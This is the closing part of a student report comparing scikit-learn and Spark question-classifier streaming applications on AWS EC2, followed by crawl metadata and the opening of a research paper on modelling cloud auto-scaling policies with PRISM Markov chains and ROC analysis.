window 10, we get the maximum records processed as compared to other load setting and window size. After that point, the record processing decreases. Also, that is the best point where we get maximum record processing. The conclusion derived from above observations was in order to achieve the best performance, we need to set window size to 10 and load should be medium. 10.1.2 Performance Evaluation for Spark Classifier Streaming Application We evaluated our spark classifier streaming application on similar parameters on the EC2 cluster. The following graph shows the performance results on EC2 cluster. For the above spark application we observed that it behaves better as the load increases. There is no definite good point to set to achieve optimum performance. The window size and load can be set according to the requirement of the use case. The trade off criteria can given as, *window size ∝ delay in response.* More the window size to get the performance, more is the response time for the request. For the current scenario, low load and window size 15 seems to be a sweet spot as we get more throughput then any point at the graph. ![Figure EC2 performance results for spark classifier streaming application](image) The optimum points obtained from the performance analysis of both the applications can be summarized in the following, <table> <thead> <tr> <th>Observations</th> <th>Scikit lite classifier application</th> <th>Spark classifier application</th> </tr> </thead> <tbody> <tr> <td>Accuracy (%)</td> <td>68</td> <td>83</td> </tr> <tr> <td>Best Performance</td> <td>309.3</td> <td>402.6</td> </tr> <tr> <td>Window size</td> <td>10</td> <td>15</td> </tr> <tr> <td>Load</td> <td>Medium</td> <td>Low</td> </tr> </tbody> </table> Table 2. Observation table for scikit lite v/s spark classifier application 11. Conclusion and Future Work In this project, we created an application that would classify any question to its question type. During the project, we created three applications which includes the full loaded classifier, scikit lite classifier and the spark classifier. We performed some performance testing on local machine which didn't helped much. So we deployed the lite classifier application and the spark classifier application on AWS EC2 cluster. We tested our application on different parameters and came up with a set of observations. In conclusion of the observations we can say that, 1. Spark classifier application performs better than the scikit lite classifier application. 2. We get less latency (delay in response) in the scikit lite classifier application as the window size is less than the spark classifier application. 3. If the focus is to get more input records to process in short period of time and accuracy is not an issue, then we can go ahead with the scikit lite classifier application. But this case is very unlikely as many applications will chose the first option as they are getting good accuracy and better throughput. Latency can be compromised for better results. Finally while doing the project, we also observed that by enhancing the model with the semantic features improves the classification accuracy. Also, "What" type of questions are very difficult to classify, for example, consider this question “What is the PH Scale?”. This question can be classified as a numeric value or a definition. So proper modeling is required to classify "What" type of questions. In accuracy, scikit learn beats spark as scikit learn is more tuned to perform classification and is more matured than spark. In Performance testing, the spark classifier performs better on every level (apart from latency) as compared to scikit learn classifier. Selecting the performance v/s accuracy tradeoff depends totally upon the requirement of the application. In future work, we can say that the current work can be extended in multiple ways. We can apply some deep semantic techniques for semantic analysis. Stanford is currently working on how can we apply deep learning in natural language processing [13]. We can use some artificial intelligence techniques that enables learning for new questions and question types while performing classification. We can assign multiple labels to a single question to diversify the classification categories. In this project, we have the dataset that assumes unique label for each question. This may lead to some misclassification of certain types of questions, especially in "What" type of questions. By having multiple possible labels for a question, we can improve the accuracy of the model. We can also have a dedicated classifier to classify "What" type of questions. This will help in defining a more accurate model with better training and features set which will only classify "What" type of questions. Lastly, we can have dynamic selection of classifier for certain type of questions. So depending upon the keywords such as "Who, What, When, Where, Why, How", we can select the appropriate classifier during runtime. This will help to provide more accurate results as the classifier is only trained to predict the question type for that particular type of keyword. 12. References http://docs.aws.amazon.com/streams/latest/dev/key-concepts.html [12] "Amazon EC2 setup guide"
{"Source-Url": "https://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1542&context=etd_projects", "len_cl100k_base": 15299, "olmocr-version": "0.1.50", "pdf-total-pages": 71, "total-fallback-pages": 0, "total-input-tokens": 119467, "total-output-tokens": 18334, "length": "2e13", "weborganizer": {"__label__adult": 0.0004119873046875, "__label__art_design": 0.0008797645568847656, "__label__crime_law": 0.00043487548828125, "__label__education_jobs": 0.00772857666015625, "__label__entertainment": 0.00026679039001464844, "__label__fashion_beauty": 0.00025177001953125, "__label__finance_business": 0.0003371238708496094, "__label__food_dining": 0.0004656314849853515, "__label__games": 0.000919342041015625, "__label__hardware": 0.0010280609130859375, "__label__health": 0.0006928443908691406, "__label__history": 0.00045180320739746094, "__label__home_hobbies": 0.00015914440155029297, "__label__industrial": 0.0004634857177734375, "__label__literature": 0.00121307373046875, "__label__politics": 0.00037026405334472656, "__label__religion": 0.0005960464477539062, "__label__science_tech": 0.16650390625, "__label__social_life": 0.00030303001403808594, "__label__software": 0.0273895263671875, "__label__software_dev": 0.7880859375, "__label__sports_fitness": 0.00029349327087402344, "__label__transportation": 0.00045180320739746094, "__label__travel": 0.00022554397583007812}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 71569, 0.02195]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 71569, 0.52438]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 71569, 0.8705]], "google_gemma-3-12b-it_contains_pii": [[0, 821, false], [821, 1096, null], [1096, 1096, null], [1096, 1475, null], [1475, 3168, null], [3168, 4095, null], [4095, 7506, null], [7506, 7506, null], [7506, 9113, null], [9113, 10609, null], [10609, 12261, null], [12261, 13747, null], [13747, 14849, null], [14849, 15643, null], [15643, 17312, null], [17312, 18315, null], [18315, 18868, null], [18868, 20270, null], [20270, 21091, null], [21091, 22564, null], [22564, 23332, null], [23332, 24882, null], [24882, 27152, null], [27152, 27799, null], [27799, 30096, null], [30096, 30755, null], [30755, 32073, null], [32073, 32487, null], [32487, 33070, null], [33070, 34484, null], [34484, 35182, null], [35182, 35313, null], [35313, 35717, null], [35717, 36552, null], [36552, 37325, null], [37325, 38172, null], [38172, 39222, null], [39222, 39763, null], [39763, 40214, null], [40214, 40982, null], [40982, 41747, null], [41747, 42247, null], [42247, 43139, null], [43139, 44200, null], [44200, 44352, null], [44352, 45418, null], [45418, 46274, null], [46274, 47290, null], [47290, 48427, null], [48427, 49413, null], [49413, 50756, null], [50756, 51992, null], [51992, 52071, null], [52071, 53615, null], [53615, 54428, null], [54428, 55340, null], [55340, 56489, null], [56489, 57917, null], [57917, 59282, null], [59282, 60828, null], [60828, 61156, null], [61156, 61740, null], [61740, 63353, null], [63353, 64560, null], [64560, 65059, null], [65059, 65922, null], [65922, 66678, null], [66678, 68289, null], [68289, 70011, null], [70011, 71207, null], [71207, 71569, null]], "google_gemma-3-12b-it_is_public_document": [[0, 821, true], [821, 1096, null], [1096, 1096, null], [1096, 1475, null], [1475, 3168, null], [3168, 4095, null], [4095, 7506, null], [7506, 7506, null], [7506, 9113, null], [9113, 10609, null], [10609, 12261, null], [12261, 13747, null], [13747, 14849, null], [14849, 15643, null], [15643, 17312, null], [17312, 18315, null], [18315, 18868, null], [18868, 20270, null], [20270, 21091, null], [21091, 22564, null], [22564, 23332, null], [23332, 24882, null], [24882, 27152, null], [27152, 27799, null], [27799, 30096, null], [30096, 30755, null], [30755, 32073, null], [32073, 32487, null], [32487, 33070, null], [33070, 34484, null], [34484, 35182, null], [35182, 35313, null], [35313, 35717, null], [35717, 36552, null], [36552, 37325, null], [37325, 38172, null], [38172, 39222, null], [39222, 39763, null], [39763, 40214, null], [40214, 40982, null], [40982, 41747, null], [41747, 42247, null], [42247, 43139, null], [43139, 44200, null], [44200, 44352, null], [44352, 45418, null], [45418, 46274, null], [46274, 47290, null], [47290, 48427, null], [48427, 49413, null], [49413, 50756, null], [50756, 51992, null], [51992, 52071, null], [52071, 53615, null], [53615, 54428, null], [54428, 55340, null], [55340, 56489, null], [56489, 57917, null], [57917, 59282, null], [59282, 60828, null], [60828, 61156, null], [61156, 61740, null], [61740, 63353, null], [63353, 64560, null], [64560, 65059, null], [65059, 65922, null], [65922, 66678, null], [66678, 68289, null], [68289, 70011, null], [70011, 71207, null], [71207, 71569, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 71569, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 71569, null]], "pdf_page_numbers": [[0, 821, 1], [821, 1096, 2], [1096, 1096, 3], [1096, 1475, 4], [1475, 3168, 5], [3168, 4095, 6], [4095, 7506, 7], [7506, 7506, 8], [7506, 9113, 9], [9113, 10609, 10], [10609, 12261, 11], [12261, 13747, 12], [13747, 14849, 13], [14849, 15643, 14], [15643, 17312, 15], [17312, 18315, 16], [18315, 18868, 17], [18868, 20270, 18], [20270, 21091, 19], [21091, 22564, 20], [22564, 23332, 21], [23332, 24882, 22], [24882, 27152, 23], [27152, 27799, 24], [27799, 30096, 25], [30096, 30755, 26], [30755, 32073, 27], [32073, 32487, 28], [32487, 33070, 29], [33070, 34484, 30], [34484, 35182, 31], [35182, 35313, 32], [35313, 35717, 33], [35717, 36552, 34], [36552, 37325, 35], [37325, 38172, 36], [38172, 39222, 37], [39222, 39763, 38], [39763, 40214, 39], [40214, 40982, 40], [40982, 41747, 41], [41747, 42247, 42], [42247, 43139, 43], [43139, 44200, 44], [44200, 44352, 45], [44352, 45418, 46], [45418, 46274, 47], [46274, 47290, 48], [47290, 48427, 49], [48427, 49413, 50], [49413, 50756, 51], [50756, 51992, 52], [51992, 52071, 53], [52071, 53615, 54], [53615, 54428, 55], [54428, 55340, 56], [55340, 56489, 57], [56489, 57917, 58], [57917, 59282, 59], [59282, 60828, 60], [60828, 61156, 61], [61156, 61740, 62], [61740, 63353, 63], [63353, 64560, 64], [64560, 65059, 65], [65059, 65922, 66], [65922, 66678, 67], [66678, 68289, 68], [68289, 70011, 69], [70011, 71207, 70], [71207, 71569, 71]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 71569, 0.05991]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
863d9fbeb5dc0d856b0f0ad41b0d51c4bb76e88f
[REMOVED]
{"Source-Url": "http://dl.ifip.org/db/conf/IEEEares/cd-ares2012/AyatAAV12.pdf", "len_cl100k_base": 10491, "olmocr-version": "0.1.50", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 48587, "total-output-tokens": 12126, "length": "2e13", "weborganizer": {"__label__adult": 0.0003719329833984375, "__label__art_design": 0.0006127357482910156, "__label__crime_law": 0.0006132125854492188, "__label__education_jobs": 0.00750732421875, "__label__entertainment": 0.00015723705291748047, "__label__fashion_beauty": 0.0002932548522949219, "__label__finance_business": 0.0014486312866210938, "__label__food_dining": 0.0004804134368896485, "__label__games": 0.0007266998291015625, "__label__hardware": 0.0009508132934570312, "__label__health": 0.0009374618530273438, "__label__history": 0.0005488395690917969, "__label__home_hobbies": 0.00020420551300048828, "__label__industrial": 0.0009446144104003906, "__label__literature": 0.0007405281066894531, "__label__politics": 0.0004968643188476562, "__label__religion": 0.0005478858947753906, "__label__science_tech": 0.358642578125, "__label__social_life": 0.0002872943878173828, "__label__software": 0.05810546875, "__label__software_dev": 0.564453125, "__label__sports_fitness": 0.0002734661102294922, "__label__transportation": 0.0006031990051269531, "__label__travel": 0.00030303001403808594}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44640, 0.03031]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44640, 0.37104]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44640, 0.86741]], "google_gemma-3-12b-it_contains_pii": [[0, 2520, false], [2520, 5957, null], [5957, 9047, null], [9047, 12659, null], [12659, 14400, null], [14400, 18182, null], [18182, 21094, null], [21094, 24177, null], [24177, 27393, null], [27393, 30772, null], [30772, 33619, null], [33619, 36529, null], [36529, 39016, null], [39016, 41986, null], [41986, 44640, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2520, true], [2520, 5957, null], [5957, 9047, null], [9047, 12659, null], [12659, 14400, null], [14400, 18182, null], [18182, 21094, null], [21094, 24177, null], [24177, 27393, null], [27393, 30772, null], [30772, 33619, null], [33619, 36529, null], [36529, 39016, null], [39016, 41986, null], [41986, 44640, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44640, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44640, null]], "pdf_page_numbers": [[0, 2520, 1], [2520, 5957, 2], [5957, 9047, 3], [9047, 12659, 4], [12659, 14400, 5], [14400, 18182, 6], [18182, 21094, 7], [21094, 24177, 8], [24177, 27393, 9], [27393, 30772, 10], [30772, 33619, 11], [33619, 36529, 12], [36529, 39016, 13], [39016, 41986, 14], [41986, 44640, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44640, 0.0]]}
olmocr_science_pdfs
2024-12-01
2024-12-01
9fc1b24d298314ad3faafeabb456797c9a5dcb1a
Performance Modelling and Verification of Cloud-based Auto-Scaling Policies Alexandros Evangelidis*, David Parker, Rami Bahsoon *School of Computer Science, University of Birmingham, United Kingdom Abstract Auto-scaling, a key property of cloud computing, allows application owners to acquire and release resources on demand. However, the shared environment, along with the exponentially large configuration space of available parameters, makes configuration of auto-scaling policies a challenging task. In particular, it is difficult to quantify, a priori, the impact of a policy on Quality of Service (QoS) provision. To address this problem, we propose a novel approach based on performance modelling and formal verification to produce performance guarantees on particular rule-based auto-scaling policies. We demonstrate the usefulness and efficiency of our techniques through a detailed validation process on two public cloud providers, Amazon EC2 and Microsoft Azure, targeting two cloud computing models, Infrastructure as a Service (IaaS) and Platform as a Service (PaaS), respectively. Our experimental results show that the modelling process along with the model itself can be very effective in providing the necessary formal reasoning to cloud application owners with respect to the configuration of their auto-scaling policies, and consequently helping them to specify an auto-scaling policy which could minimise QoS violations. Keywords: Auto-scaling, Markov models, probabilistic verification 1. Introduction Cloud computing has become the most prominent way of delivering software solutions, and more and more software vendors are deploying their applications in the public cloud. In cloud computing, one of the key differentiating factors between successful and unsuccessful application providers is the ability to provide performance guarantees to customers, which allows violations in performance metrics such as CPU utilisation to be avoided [1]. In order to achieve this, cloud application providers use one of the key features of cloud computing: auto-scaling, which allows resources to be acquired and released on demand. *Corresponding author Email addresses: a.evangelidis@cs.bham.ac.uk (Alexandros Evangelidis), d.a.parker@cs.bham.ac.uk (David Parker), r.bahsoon@cs.bham.ac.uk (Rami Bahsoon) While auto-scaling is an extremely valuable feature for software providers, specifying an auto-scaling policy that can guarantee no performance violations will occur is an extremely hard task, and “doomed to fail” [2] unless considerable care is taken. Furthermore, in order for a rule-based auto-scaling policy to be properly configured, there has to be an in-depth level of knowledge and a high degree of expertise, which is not necessarily true in practice [3, 1]. Lately, public cloud providers such as Amazon EC2 and Microsoft Azure have increased the flexibility offered to users when defining auto-scaling policies, by allowing combinations of auto-scaling rules for a wide range of metrics. However, this “freedom” of being able to specify multiple auto-scaling rules comes at the cost of an extremely large configuration space. In fact, it is exponential in the number of performance metrics and predicates, making it virtually impossible to find the optimal values for the auto-scaling variables [4]. In addition, an auto-scaling policy consists not only of performance metrics thresholds, but also temporal parameters, which often seem to be neglected, despite their significance in configuring a good auto-scaling policy. These parameters include the time interval that the auto-scaling mechanism looks back to determine whether to take an auto-scale action, and the duration for which it is prohibited from triggering auto-scale actions after a successful auto-scale request (cooldown period). Since both of these parameters have to be specified by a human operator, it becomes a challenging task to understand the impact of these parameters on performance metrics of the application running on the cloud. It is exactly this impact that we wish to quantitatively analyse. As noted in [5], auto-scaling policies “tend to lack correctness guarantees”. The ability to specify auto-scaling policies that can provide performance guarantees and reduce violations of Service Level Agreements (SLAs) is essential for more dependable and accountable cloud operations. However, this is a complex task due to: (i) the large configuration space of the conditions and parameters that need to be defined; (ii) the unpredictability of the cloud as an operating environment, due to its shared, elastic and on-demand nature; and (iii) the heterogeneity in cloud resource provision, which makes it difficult to define reliable and universal auto-scaling policies. For example, looking at public cloud providers, one can observe that there is no guarantee on the time it will take for an auto-scale request to be served, nor whether the auto-scale request will receive a successful response or not. In order to address the aforementioned challenges, we propose a novel approach based on performance modelling and formal verification. In particular, we use probabilistic model checking [6], which is a formal approach to generating guarantees about quantitative aspects of systems exhibiting probabilistic behaviour, and the tool PRISM [7]. Guarantees are expressed in quantitative extensions of temporal logic and numerical solution of probabilistic models is used to quantify these measures precisely. This approach provides a formal way of quantifying the uncertainty that exists in today’s cloud-based systems and a means of providing performance guarantees on auto-scaling policies for application designers and developers. Another important novel aspect of our approach is the combination of probabilistic model checking with Receiver Op- erating Characteristic (ROC) analysis during empirical validation. This allows us not only to refine our original probabilistic estimates after collating real data and to validate the accuracy of our model, but also to obtain global QoS violation thresholds for the policies. Our probabilistic model is a discrete-time Markov chain (DTMC), which we specify in the modelling language of the PRISM tool. It takes into account the stochasticity of auto-scale requests by transitioning between the different waiting times with a probability $p$, which can be specified by the user a priori, or left as a free parameter in order to probabilistically verify an auto-scaling policy under different values of $p$. We demonstrate the correctness and usefulness of this approach through an extensive validation, considering an Infrastructure as a Service (IaaS) and Platform as a Service (PaaS) scenario running on the Amazon EC2 and Microsoft Azure cloud, respectively. We have made the data used to validate our model publicly available [8]. In order to validate the accuracy of our model, we perform Receiver Operating Characteristic (ROC) analysis, which is widely used in machine learning and data mining [9]. In a sense, we follow a similar approach to the validation of classification models, by treating the probability as a ranking measure which determines the likelihood of the event of interest, in our case the probability of a QoS violation. ROC can be used to help the decision maker select the appropriate classification threshold, by quantifying the trade-off between sensitivity and specificity. Additionally, it can be used to validate the accuracy of a classification model, by computing the AUC (Area Under Curve) metric, which is one of the most commonly used summary indices [10]. Our validation starts by ordering the probabilities that have been computed from our PRISM model for each auto-scaling policy. Then, we plot the respective ROC curve by computing the points for the respective thresholds $[0..1]$. Through this analysis, we are able to find the optimal threshold of discriminating between the auto-scaling policies that could result in a CPU/response time violation. Our criterion of optimality is the point which minimises the Euclidean distance between the ROC curve, and point $(0,1)$, which is often called the point of “perfect classification”. Also, this gives us the ability to refine our original violation estimates after we have seen the real data, and to obtain a global threshold for distinguishing between auto-scaling policies. After plotting the ROC curve, we compute the AUC, which in our case can be interpreted as the number of times our model can distinguish performance violations/non-violations of randomly selected auto-scaling policies. This is an “important statistical property” [9] of AUC, and one of the reasons that it has been used so widely for validating the performance of classifiers. Our modelling and verification framework is intended to minimise the time and costs for cloud application owners who do not have the resources or desire to clone their existing applications in order to test them in a cloud-based environment. It can also provide valuable assistance in designing, analysing and verifying the auto-scaling policies of applications and services deployed on public clouds, and could help in providing robust performance guarantees. Probabilistic model checking has previously been applied to a wide range of application domains, including aspects of cloud computing [11, 5]. However, to the best of our knowledge, this is the first work to use probabilistic model checking to provide performance guarantees for auto-scaling policies from the perspective of a cloud application provider. We believe it is also the first case where the results of probabilistic verification have been validated using VMs running on major public cloud providers, Amazon EC2 and Microsoft Azure, and the first usage of ROC analysis to validate such results. This paper is an extended version of our earlier work on performance modelling and verification of auto-scaling policies [12]. In particular, this paper investigates the generalisability of the approach to a second public cloud provider, Microsoft Azure, dealing with auto-scaling policies at the PaaS, rather than IaaS, level. It also extends the techniques to consider temporal properties of the auto-scaling policies, and how their variation can affect the performance guarantees that can be offered to users. The remainder of the paper is structured as follows. In Section 2, we provide some background on auto-scaling policies and probabilistic verification. Then, in Section 3, we describe our approach to constructing a probabilistic model of the auto-scaling process. Sections 4 and 5 present the process for applying probabilistic verification to the model and validating the results, respectively. Section 6 discusses the results, and then we conclude by surveying the relevant literature and identifying directions for future work. 2. Preliminaries 2.1. Rule-based auto-scaling policies An auto-scaling policy [4] defines the conditions under which capacity will be added to or removed from a cloud-based system, in order to satisfy the objectives of the application owner. Auto-scaling is divided into scaling-up/-down and scaling-out/-in methods, with the two approaches also being defined as vertical (add more RAM or CPU to existing VMs) and horizontal (add more “cheap” VMs) scaling. In this work, we focus on scaling-out and -in since it is a commonly used and cost-effective approach. The main auto-scaling method that is given to application providers by all public cloud providers today (e.g., Amazon, Microsoft Azure, Google Cloud) is rule-based. The rule-based method is the most popular and is considered to be the state-of-the-art in auto-scaling an application in the cloud [13]. In a rule-based approach, the application provider has to specify an upper and/or lower bound on a performance metric (e.g., CPU utilisation) along with the desired change in capacity for this situation. For example, a rule-based method that will trigger a scale-out decision when CPU utilisation exceeds 60% might take the form: if cpu utilisation > 60% then add 1 instance [14]. The performance metrics that public cloud providers usually follow include CPU utilisation, throughput and queue length. We consider auto-scaling decisions based on CPU utilisation as it is one of the most important metrics in capacity planning, and also the most widely used in auto-scaling policies. As discussed earlier, apart from the standard auto-scale metrics, there are also other important temporal parameters of auto-scaling policies, such as the time interval for looking back and the cool-down period. 2.2. Probabilistic model checking and PRISM PRISM [7] is a probabilistic model checker, which supports the construction and formal quantitative analysis of various probabilistic models, including discrete-time Markov chains (DTMCs), continuous-time Markov chains and Markov decision processes, which are expressed in PRISM’s modelling language. A model in PRISM is broken down into modules, which represent different components of the system/process being modelled. The state of the model comprises values for a set of variables, which are either local to some module or global for the whole model. Here, we use DTMCs, which are well suited to modelling systems whose states evolve probabilistically, but without any nondeterminism or external control. They are therefore appropriate here, where we want to verify auto-scaling policies, whose outcomes are probabilistic. For DTMCs, properties of the model are specified in PRISM using an extension [6] of the temporal logic PCTL (probabilistic computation tree logic) [15]. A typical property is $P_{\Delta < p}[\psi]$, where $\Delta \in \{\leq, <, >, \geq\}$ and $p \in [0, 1]$, which asserts that the probability of event $\psi$ occurring meets the bound $\Delta < p$. As an example, in our model, where we want to verify whether the auto-scaling decisions will drive the cloud application to a state where the utilisation will be less than 95% with probability greater than 0.7, the following formula will be checked: $P_{>0.7}[F(\text{util} < 95)]$. In addition, PRISM supports numerical properties such as $P_{\text{=?}}[F(\text{fail})]$, which means “what is the probability for the cloud application to end up in a failed state, as a result of the auto-scaling decisions made?”. Of course, what is considered a failed state will differ between cloud application owners, according to the relative importance they put on the non-functional aspects of their application. PRISM allows a wide range of such properties to be specified and analysed. 3. Formal modelling of rule-based auto-scaling policies The states in our model represent the information needed to capture the dynamics of the auto-scaling process and its impact on QoS. Apart from the use of boolean variables which are used to synchronise certain transitions in our model, we have employed clustering methods to summarise the monitored CPU utilisation and response time traces. These clusters are used to characterise the different states of our model, and in the following subsections we provide the details with respect to the clustering procedures followed. 3.1. Clustering For the model developed for the IaaS use case on Amazon EC2, we standardise the CPU utilisation and response time values by computing their z-scores [16]. Then, the model is initialised after $k$-means clustering has been run. on the CPU utilisation and response time traces. The value of \( k \) is also the number of different outcomes that could happen when a scale-out or a scale-in action occurs. Equivalently, \( k \) can be thought of as the number of states per number of VMs in operation. In a sense, it captures the CPU utilisation and response time variability that exists for a given number of VMs in operation. As a result, as the size of \( k \) grows larger, the more detailed the possible state representations will be, possibly at the cost of adding a degree of overhead in the verification process. Conversely, for smaller values of \( k \), the scalability of the verification process is improved, at the possible cost of representing the states in a “coarser” way. However, the appropriate value of \( k \) is important for having a model that can generalise to other CPU utilisation and response time traces. In our model of the IaaS use case on Amazon EC2, after experimenting with different cluster sizes, we have set \( k = 5 \). For the second type of model which targeted a PaaS use case on Microsoft Azure, a univariate clustering method was employed, since we did not take into consideration response time, and consequently had to deal with one-dimensional data. This allowed us to use the \texttt{Ckmeans.1d.dp} algorithm which “guarantees optimality” for data in a 1-D space [17]. The value of \( k \) in this case was determined by trying a range of different cluster sizes and picking one with the appropriate Bayesian Information Criterion (BIC) (see Figures 1 and 2 in Section 5.4 for the BIC and the respective clustering plots for the CPU utilisation traces for the auto-scaling policies with the 5 minute cool-down period considered). 3.2. Encoding auto-scaling policies in PRISM Although two different models have been developed for the Amazon EC2 and Microsoft Azure case, the core principles underlying them are similar. For example, both of the models expect an auto-scaling policy as an input, the creation of their states relies on clustering, and the “philosophy” of how transitions unfold between the states is the same to an extent. In addition, both of the models share the same high level objectives, since they are meant to assist in the auto-scaling decision making process. In the next paragraph, we describe the important building blocks of our models by highlighting their differences and by explaining the reasons of those differences. For the Amazon EC2 case, the “free” parameters (constants) which are left to the user of the model to set, are: i-iv) step adjustments for scale-out and scale-in rules; v) the increment specifying the number of instances which will be added; vi) the decrement specifying the number of instances which will be removed; vii) the number of VMs that are currently reserved; viii) the maximum time the model will run; ix) the probability \( p \); and x) the time that it will take for an auto-scale request to be satisfied. The first seven constants are under the control of the application provider and represent the values that an application owner would have to set in reality. The last two represent parameters that are not controllable and are being used as a basis for modelling and analysis of scenarios of interest (e.g., worst-case scenarios). The “free” parameters for the model developed for the Microsoft Azure case are the increment and decrement variables, the number of currently reserved VMs, and the number of VMs that are currently reserved. VMs and the maximum time the model will run. The reason for having fewer constants is to explore the impact on the performance metrics of interest of more “direct” auto-scaling policies, that is policies which do not express the capacity to be added/removed as a percentage of the total capacity, but as an integer which specifies the number of VMs to be added or removed. In addition, if the capacity adjustments are expressed as a percentage, one has to think about the rounding rules that exist, and the conditions that have to be fulfilled when a percentage in capacity has to be added or removed. In order to be able to develop a representative model for the Amazon EC2 case, there are certain conditions with respect to the addition/removal of VMs that have to match those in realistic clouds. As an example, we show some of those conditions, encoded as formulae in PRISM, and are being invoked in the respective states in our model. For example, our model has to fulfil the following conditions, with respect to the scale out and scale in adjustments. Values in the intervals $[0..1]$ and $(-1..-\infty)$ are rounded up, while values in the intervals $[0..-1]$ and $(1..+\infty)$ are rounded down respectively. In Listing 1, we show a sample of the PRISM code for these conditions, expressed as formulae. Listing 1: Changing capacity formulae ```prism formula adjust_c1=(cVMs*s_o_adj_1)>=incr?ceil(cVMs*s_o_adj_1):incr; formula adjust_f2=(cVMs*s_o_adj_2)>=incr?floor(cVMs*s_o_adj_2):incr; formula adjust_si_f1=(cVMs*s_in_adj_1)>=decr?ceil(cVMs*s_in_adj_1):decr; formula adjust_si_f2=(cVMs*s_in_adj_2)>=decr?floor(cVMs*s_in_adj_2):decr; ``` As a result, part of our reasoning when developing the model for the Microsoft Azure use case was to explore how much of this overhead could be avoided, when dealing with auto-scaling policies where the requested capacity is expressed as an integer, denoting the number of VMs to be added/removed. After these parameters have been specified, the model transitions, with a probability $q$, to the possible outcomes of CPU utilisation and response time which are associated with the particular number of VMs. For the Amazon EC2 model, these outcomes, and the respective probability $q$, are set according to $k$-means clustering which has been run beforehand. In Listing 2 we show a sample of the PRISM code for the transition based on the value of $p$, and for more details, we refer the interested reader to our previous work [12]. Listing 2: Transition based on probability $p$ ```prism (choice)(...)&(t<MAX_TIME)&(scale_out_trigger=true|..)&(best_effort=false ↪)&(imm_res=false)->p:(imm_res=true) + 1-p:(best_effort'=true); ``` For the Microsoft Azure model, there is no probability $p$ associated with certain transitions. This is because we did not want to investigate what-if scenarios with respect to the time variability of the auto-scaling policies, rather our focus was on analysing the impact on the QoS of varying the cool-down periods of an auto-scaling policy. Based on this intention, we added specific guarded com- mands to certain states in our model in order to prevent “flapping situations” where the auto-scale controller triggers actions continuously [18]. For example, in the states where a scale-in action is to be taken, we evaluate if the resulting CPU utilisation after releasing a VM will be greater than the scale-out CPU utilisation threshold, to determine whether the scale-in action will be skipped or not. In Listing 3, we show how this case is expressed in PRISM’s guarded commands, and as a result the respective scale-in transition is skipped when the guard is violated. **Listing 3:** Guarded commands in scale-in states to avoid “flapping”. \[ [scale\_in\_act1] (...) \&( INITIAL\_VMS=2 \&(cVMs=3 | cVMs=4))\&(decr=1)\& ( ( \leftarrow util* cVMs) / (cVMs-decr) < cpu\_threshold ) \] 4. Formal verification of auto-scaling policies In this section we present the verification process for the two cases considered, namely the IaaS case on Amazon EC2 and PaaS case on Microsoft Azure. 4.1. IaaS case on Amazon EC2 The verification process consists of two phases. In the first phase, we generated load on the rented VMs to gather at least 100 data points for CPU utilisation and response time, for each VM number between 1 and 8. These 100 data points correspond to approximately 100 minutes of load generation, monitoring, and data gathering for each VM, and for each load type, resulting in approximately 26 hours of data collection. These data points are used for the initialisation of our model. In the second phase, we use k-means clustering to cluster the respective data points, which correspond to different outcomes of CPU utilisation and response time. Once the clustering process is finished, the clusters are fed into our model in PRISM, and once an auto-scaling policy or a set of auto-scaling policies is passed as an input to our model, we obtain the verification results. **Table 1:** Auto-scaling policies for formal verification. <table> <thead> <tr> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>Scale-out</td> <td>[1..2]</td> <td>60%</td> <td>70%</td> <td>2,3,4,8</td> <td>[+10%]</td> </tr> <tr> <td>Scale-out</td> <td>[1..2]</td> <td>70%</td> <td>100%</td> <td>2,3,4,8</td> <td>[+30%]</td> </tr> <tr> <td>Scale-in</td> <td>[1]</td> <td>0%</td> <td>30%</td> <td>2,3,4,8</td> 